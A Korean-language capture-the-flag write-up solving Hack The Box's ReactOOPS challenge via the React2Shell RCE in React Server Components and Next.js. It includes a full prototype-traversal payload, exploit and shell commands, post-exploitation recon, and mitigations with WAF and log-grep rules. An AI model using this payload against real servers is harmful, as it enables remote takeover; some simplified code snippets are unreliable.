
Hack The Box의 은퇴한 챌린지 ReactOOPS에 대한 Writeup - CVE-2025-55182/CVE-2025-66478 (React2Shell RCE)에 대한 완벽한 솔루션 및 교육 가이드. 상세한 취약점 분석, 익스플로잇 기술 및 팀 학습 자료 포함.
작성자: TheStingR - Team ISP1337Hackers
챌린지: ReactOOPS (웹)
플랫폼: Hack The Box
난이도: 매우 쉬움 - 은퇴됨
해결 날짜: 2025년 12월 13일
ReactOOPS는 CVE-2025-55182 / CVE-2025-66478를 익스플로잇하는 웹 챌린지입니다. 이는 React 서버 컴포넌트와 Next.js App Router의 치명적인 인증되지 않은 원격 코드 실행 취약점입니다.
주요 발견 사항:
hasOwnProperty 검사 누락챌린지는 NexusAI의 어시스턴트 인터페이스를 실행하는 정교한 Next.js 애플리케이션을 제공합니다. 애플리케이션은 React 서버 컴포넌트를 통해 사용자 입력을 처리하는 것처럼 보이지만, 반응형 레이어의 미묘한 결함이 근본적인 취약점을 암시합니다.
애플리케이션은 다음을 사용합니다:
react-server-dom-webpackFlight 프로토콜은 React가 서버 컴포넌트 아키텍처에서 서버와 클라이언트 간 데이터를 전송하기 위해 사용하는 독점 직렬화 형식입니다. 다음과 같은 참조를 사용합니다:
$1 - 위치 1의 객체 참조$1:path:to:value - 속성 경로 탐색React의 ReactFlightReplyServer.js 취약 코드:
// ~450번 줄: getOutlinedModel 함수
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// "$1:path:to:value" 같은 참조 처리
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// 취약 루프 - hasOwnProperty 검사 없음!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← 프로토타입 체인 접근 허용
}
return obj;
}
}
안전한 버전 (되어야 할 코드):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('잘못된 속성 접근');
}
}
hasOwnProperty 검사가 없으면 공격자는 다음을 탐색할 수 있습니다:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
1단계: "$1:__proto__:then" 참조 전송
│
├─ myChunk[__proto__] 접근
└─ 프로토타입의 [then] 접근
2단계: 가짜 Promise 유사 객체 생성
│
└─ { then: 악성 함수 }
3단계: React가 이 객체에 대해 await 호출
│
├─ .then() 메서드 호출
└─ 공격자 함수 실행
4단계: 임의 코드 실행
│
└─ 서버 컨텍스트에서 root 권한으로 코드 실행
취약점은 Next-Action 검증 이전에 존재합니다:
요청 처리 흐름:
├─ multipart 폼 데이터 파싱
├─ Flight 프로토콜 역직렬화 ← 여기서 RCE 발생
│ └─ 참조 및 객체 처리
│ └─ hasOwnProperty 검사 없음!
├─ Next-Action 헤더 추출
├─ 액션 ID 검증 ← 이 단계 이후에 옴
└─ 액션 핸들러 실행
역직렬화 중 RCE를 트리거함으로써 공격자는 모든 액션 수준 보안 검사를 우회합니다.
# 서비스 응답 확인
curl -v http://<IP>:PORT/
예상 결과: RSC가 활성화된 Next.js 애플리케이션 HTML 제공
다음 지표 확인:
next- 접두사를 포함한 응답 헤더<script type="text/x-component">를 포함한 HTML.next 디렉터리 아티팩트 존재가장 신뢰할 수 있는 지표는 프로토타입 오염 공격을 시도하고 응답을 관찰하는 것입니다:
# 비파괴적 탐지 페이로드
# 전송: ["$1:a:a"] {} 참조
# 취약 서버: {}.a.a 예외 발생 → HTTP 500 + E{"digest"
# 패치 서버: hasOwnProperty가 접근 차단 → 충돌 없음
# 챌린지 디렉터리로 이동
cd /Challenges/ReactOOPS
# react2shell 익스플로잇 프레임워크 클론
git clone https://github.com/freeqaz/react2shell.git
# 모든 스크립트 실행 권한 부여
chmod +x react2shell/*.sh
목표: 손상 없이 서버 취약 여부 확인
cd react2shell
# 탐지 프로브 실행
./detect.sh http://<IP>:PORT
작동 방식:
Next-Action: x 헤더가 포함된 multipart POST 요청 생성["$1:a:a"] 빈 객체 {} 참조{}.a.a 접근 시도예상 출력:
[*] React2Shell 탐지 프로브 (CVE-2025-55182 / CVE-2025-66478)
[*] 대상: http://<IP>:PORT
[*] HTTP 상태: 500
[!] 취약 - 서버가 E{"digest" 패턴과 함께 500 반환
[*] 응답 본문:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] 이 서버는 취약한 React RSC / Next.js 버전을 실행 중입니다.
해석:
E{"digest" 포함: ✅ React 오류 처리 형식목표: 임의 명령 실행 확인
# 원격 서버에서 'id' 명령 실행
./exploit-redirect.sh -q http://<IP>:PORT "id"
작동 방식:
Next-Action: x 헤더와 함께 POST 요청 전송예상 출력:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
핵심 통찰: 출력에서 uid=0(root)를 보여줍니다. 웹 서버가 root로 실행 중입니다! 이는 보안 구성 오류로 영향을 증폭시킵니다.
목표: 파일 시스템 매핑 및 민감 파일 위치 확인
# 현재 작업 디렉터리 확인
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# 출력: /app/.next/standalone
# 애플리케이션 루트 디렉터리 목록
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
발견된 디렉터리 구조:
/app/
├── .next/ # Next.js 빌드 출력
├── node_modules/ # 종속성
├── app/ # 애플리케이션 소스 코드
├── public/ # 정적 자산
├── flag.txt # ✅ 목표 파일 (모드 600)
├── package.json
└── tsconfig.json
중요 발견: 플래그 파일이 /app/flag.txt에 제한적 권한(600)으로 존재
목표: 플래그 파일 읽기
# 플래그 읽기
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
출력:
HTB{jus7_REDACTED_2025-55182}
✅ 챌린지 완료!
익스플로잇은 Flight 프로토콜 페이로드를 구성합니다. 명령 페이로드의 예시는 다음과 같습니다:
POST / HTTP/1.1
Host: <IP>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. multipart 폼 데이터 파싱
→ name="1" → "then" 속성을 가진 JSON 객체
→ name="0" → 문자열 "$@1"
2. 참조 처리
→ "$@1"은 "청크 1 참조" 의미
→ chunk[1].value 조회
3. 참조 경로 해석
→ 참조: "$1:__proto__:then"
→ 콜론으로 분할: ["", "__proto__", "then"]
→ chunk[1]에서 시작
→ [__proto__] 접근 → 프로토타입으로 이동
→ [then] 접근 → then 메서드 접근
4. 가짜 Promise 구성
→ .then() 메서드를 가진 객체 생성
→ 메서드에 명령 페이로드 포함
5. Promise .then() 실행
→ React가 Promise 유사 객체로 처리
→ .then() 핸들러 호출
→ ROOT 권한으로 코드 실행
exploit-redirect.sh를 사용한 이유:
즉시 조치 (패치 전):
필요하지 않으면 RSC 비활성화
// next.config.js
module.exports = {
experimental: {
rsc: false // React 서버 컴포넌트 비활성화
}
}
Next-Action 사용 제한
// middleware.ts
export function middleware(request) {
// Next-Action이 있는 POST 요청 모두 거부
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
네트워크 분할
# 신뢰할 수 있는 소스만 허용
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
즉시 패치:
# Next.js 업데이트
npm install next@latest
# 또는 특정 패치 버전
npm install [email protected]
# 버전 확인
npm ls next react-server-dom-webpack
보안 강화:
웹 서버를 root가 아닌 사용자로 실행
# 이렇게 하지 마세요:
RUN npm start # root로 실행
# 이렇게 하세요:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
입력 검증
// 모든 Flight 프로토콜 입력 검증
app.post('/api/*', (req, res) => {
// 의심스러운 패턴 확인
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('잘못된 입력');
}
});
속도 제한
// IP당 POST 요청 제한
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
WAF 규칙:
# 프로토타입 오염 시도 탐지
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then 경고 + 차단
로그 모니터링:
# 의심스러운 패턴 찾기
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
행동 기반 탐지:
// 비정상 명령 실행 모니터링
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[보안] 명령 실행 시도:', args[0]);
// 정책 시행 구현
return original_spawn.apply(this, args);
};
단일 검사 누락 = 치명적 취약점
hasOwnProperty 가드는 임포트되었지만 사용되지 않음프로토타입 체인은 위험함
obj[key]hasOwnProperty 또는 Object.create(null) 사용검증 전 역직렬화는 위험함
기본 프로세스 권한이 중요함
비파괴적 탐지는 가치 있음
detect.sh는 손상 없이 취약점 증명체계적인 정찰
기술 이해
# 한 줄 익스플로잇
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
# 전체 대화형 셸 실행
./shell.sh http://<IP>:PORT
# 일반 명령:
id # 사용자 정보 표시
pwd # 현재 디렉터리
ls -la # 파일 목록
cat /app/flag.txt # 플래그 읽기
cd /var/log # 디렉터리 변경
download flag.txt # 파일 다운로드
# 시스템 정보
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# 환경 변수
./exploit-redirect.sh -q http://<IP>:PORT> "env"
# 실행 중인 프로세스
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# 네트워크 연결
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# 애플리케이션 소스
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
| 스크립트 | 메커니즘 | HTTP 코드 | 탐지 |
|---|
| exploit-redirect.sh | 프로토타입 탐색 + Promise 체인 | 303 | x-action-redirect |
| exploit-throw.sh | try-catch 오류 | 500 | 본문 오류 |
| exploit-blind.sh | 부채널 (파일 쓰기, DNS) | 200 | 대역 외 |
| exploit-reflect.sh | 응답에 직접 반영 | 200 | 본문 명령 출력 |
| shell.sh | 대화형 래퍼 | 다양함 | REPL 인터페이스 |
| 시간 | 작업 | 결과 |
|---|
| T+0초 | 초기 연결 테스트 | 서비스 응답 |
| T+10초 | detect.sh 실행 | 취약 확인 |
| T+30초 | id 명령 실행 | root 권한 확인 |
| T+1분 | /app 디렉터리 목록 | 플래그 위치 발견 |
| T+1분 30초 | 플래그 파일 읽기 | 플래그 추출 |
| T+2분 | 확인 | 챌린지 완료 |